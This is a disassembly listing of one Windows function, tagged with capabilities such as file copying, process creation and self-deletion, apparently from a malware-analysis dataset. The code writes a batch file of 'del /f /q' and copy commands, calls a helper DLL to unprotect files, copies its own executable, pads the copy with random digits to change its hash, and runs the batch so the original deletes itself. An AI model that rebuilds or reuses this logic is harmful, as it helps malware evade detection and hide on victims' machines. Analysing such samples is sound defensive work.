Function at 0x404a00
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Self delete

Disassembly:
push 0xffffffffffffffff
push 0x4061db
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x264
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x1c]
mov dword [esp + 0x27c], 0
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x48]
mov byte [esp + 0x27c], 1
call sub.MFC42.DLL_CString::CString_2
push 0x104
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x284], 2
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x104
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::GetBuffer
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x2c]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Mid_1
mov esi, dword [esp + 0x10]
push 0x104
push 0x104
lea ecx, [esp + 0x18]
mov byte [esp + 0x284], 3
call sub.MFC42.DLL_CString::GetBuffer
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push eax
push esi
call edi
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x34]
call fcn.004058b2
lea ecx, [esp + 0x1c]
push str.yyyy.bat
lea edx, [esp + 0x1c]
mov bl, 4
push ecx
push edx
mov byte [esp + 0x288], bl
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push 0
push 0x1002
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x288], 5
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0x18]
mov esi, eax
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
test esi, esi
mov ebp, dword [sym.imp.KERNEL32.dll_WinExec]
je 0x405051
push str._echo_off_n
lea ecx, [esp + 0x38]
call sub.MFC42.DLL_CStdioFile::WriteString
mov esi, dword [0x409bc4]
push 0x104
push 0x104
mov ecx, 0x409bc4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
call edi
push 0xffffffffffffffff
mov ecx, 0x409bc4
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov esi, eax
push str.ycmcg.dll_UnprotectFile
lea ecx, [esp + 0x28]
push 0x409bc4
push ecx
mov byte [esp + 0x288], 6
call sub.MFC42.DLL_operator_2
push esi
lea edx, [esp + 0x34]
push eax
push edx
mov byte [esp + 0x288], 7
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x28]
lea edx, [esp + 0x18]
push ecx
push eax
push edx
mov byte [esp + 0x288], 8
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
call ebp
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x27c], 7
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], 6
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov esi, eax
push str.ycmcg.dll_UnprotectFile
lea ecx, [esp + 0x34]
push 0x409bc4
push ecx
mov byte [esp + 0x288], 9
call sub.MFC42.DLL_operator_2
push esi
mov byte [esp + 0x280], 0xa
push eax
lea edx, [esp + 0x2c]
push edx
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x28]
lea edx, [esp + 0x20]
push ecx
push eax
push edx
mov byte [esp + 0x288], 0xb
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push 0
push eax
call ebp
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x27c], 9
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
lea eax, [esp + 0x10]
lea ecx, [esp + 0x24]
push eax
push str.del__f__q
push ecx
call sub.MFC42.DLL_operator
push 0x4098e8
lea edx, [esp + 0x24]
push eax
push edx
mov byte [esp + 0x288], 0xc
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x280], 0xd
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x20]
mov byte [esp + 0x27c], 0xc
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
push eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov esi, eax
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push str.copy
push edx
mov byte [esp + 0x288], 0xe
call sub.MFC42.DLL_operator
push str.yyyy
push eax
lea eax, [esp + 0x20]
mov byte [esp + 0x284], 0xf
push eax
call sub.MFC42.DLL_operator_2
push esi
lea ecx, [esp + 0x34]
push eax
push ecx
mov byte [esp + 0x288], 0x10
call sub.MFC42.DLL_operator_1
lea edx, [esp + 0x28]
mov byte [esp + 0x27c], 0x11
push edx
push eax
lea eax, [esp + 0x2c]
push eax
call sub.MFC42.DLL_operator_1
push 0x4098e8
lea ecx, [esp + 0x24]
push eax
push ecx
mov byte [esp + 0x288], 0x12
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x280], 0x13
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x20]
mov byte [esp + 0x27c], 0x12
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], 0x11
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x27c], 0x10
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x27c], 0xf
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x27c], 0xe
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
mov eax, dword [0x409bc0]
test eax, eax
jne 0x404f86
mov esi, dword [0x409bc4]
push 0x104
push 0x104
mov ecx, 0x409bc4
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
call edi
push 0xffffffffffffffff
mov ecx, 0x409bc4
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::ReverseFind
lea edx, [esp + 0x18]
push eax
push edx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Left
mov esi, eax
push str.ycmcg.dll
lea eax, [esp + 0x34]
push 0x409bc4
push eax
mov byte [esp + 0x288], 0x14
call sub.MFC42.DLL_operator_2
push str._ProtectFile
lea ecx, [esp + 0x28]
push eax
push ecx
mov byte [esp + 0x288], 0x15
call sub.MFC42.DLL_operator_2
push esi
lea edx, [esp + 0x24]
push eax
push edx
mov byte [esp + 0x288], 0x16
call sub.MFC42.DLL_operator_1
lea ecx, [esp + 0x28]
lea edx, [esp + 0x2c]
push ecx
push eax
push edx
mov byte [esp + 0x288], 0x17
call sub.MFC42.DLL_operator_1
push 0x4098e8
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x284], 0x18
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x280], 0x19
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x14]
mov byte [esp + 0x27c], 0x18
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x27c], 0x17
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x20]
mov byte [esp + 0x27c], 0x16
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov byte [esp + 0x27c], 0x15
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x27c], 0x14
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push str.del__f__q
push edx
call sub.MFC42.DLL_operator
push str.yyyy_n
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x284], 0x1a
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x280], 0x1b
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x14]
mov byte [esp + 0x27c], 0x1a
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x2c]
push ecx
push str.del__f__q
push edx
call sub.MFC42.DLL_operator
push str.yyyy.bat_n
push eax
lea eax, [esp + 0x1c]
mov byte [esp + 0x284], 0x1c
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
lea ecx, [esp + 0x34]
push eax
mov byte [esp + 0x280], 0x1d
call sub.MFC42.DLL_CStdioFile::WriteString
lea ecx, [esp + 0x14]
mov byte [esp + 0x27c], 0x1c
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::Close
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x2c]
stosw word es:[edi], ax
mov dword [esp + 0x50], 0
mov dword [esp + 0x54], 2
call sub.MFC42.DLL_CString::operator_1
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x6c]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x14], esi
mov esi, edi
mov edi, dword [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x409a98
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, edx
lea edx, [esp + 0x20]
mov byte [esp + ecx + 0x70], al
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov byte [esp + ecx + 0x75], al
lea eax, [esp + 0x1c]
lea ecx, [esp + 0x74]
push eax
mov dword [esp + 0x60], ecx
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [esp + 0x2c]
mov byte [esp + 0x280], 0x1e
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0x28]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea esi, [esp + 0x170]
sub edi, ecx
mov eax, ecx
mov dword [esp + 0x14], esi
mov esi, edi
mov edi, dword [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [esp + ecx + 0x170], al
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x4c]
xor edi, edi
push edx
mov byte [esp + ecx + 0x175], al
lea ecx, [esp + 0x174]
mov dword [esp + 0x5c], ecx
mov word [esp + 0x60], 0x214
mov dword [esp + 0x6a], edi
mov dword [esp + 0x66], edi
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x1c]
push 0x409a98
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push edi
push 2
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x288], 0x1f
call sub.MFC42.DLL_CStdioFile::Open
lea ecx, [esp + 0x14]
mov esi, eax
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
cmp esi, edi
je 0x405275
push edi
push 0x7b0
lea ecx, [esp + 0x3c]
call sub.MFC42.DLL_CStdioFile::Seek
push edi
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 8
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::CString_2
mov esi, dword [sym.imp.MSVCRT.dll_rand]
mov byte [esp + 0x27c], 0x20
call esi
push eax
call esi
push eax
call esi
push eax
call esi
push eax
lea edx, [esp + 0x28]
push str._d_d_d_d
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x30]
add esp, 0x18
mov ecx, dword [eax - 8]
push ecx
push eax
lea ecx, [esp + 0x3c]
call sub.MFC42.DLL_CStdioFile::Write
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CStdioFile::Close
lea eax, [esp + 0x1c]
push str.yyyy.bat
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push edi
push eax
call ebp
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x27c], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x34]
mov byte [esp + 0x27c], 3
call sub.MFC42.DLL_CStdioFile::CStdioFile
lea ecx, [esp + 0x28]
mov byte [esp + 0x27c], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x48]
mov byte [esp + 0x27c], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x1c]
mov byte [esp + 0x27c], 0
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x10]
mov dword [esp + 0x27c], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x274]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x270
ret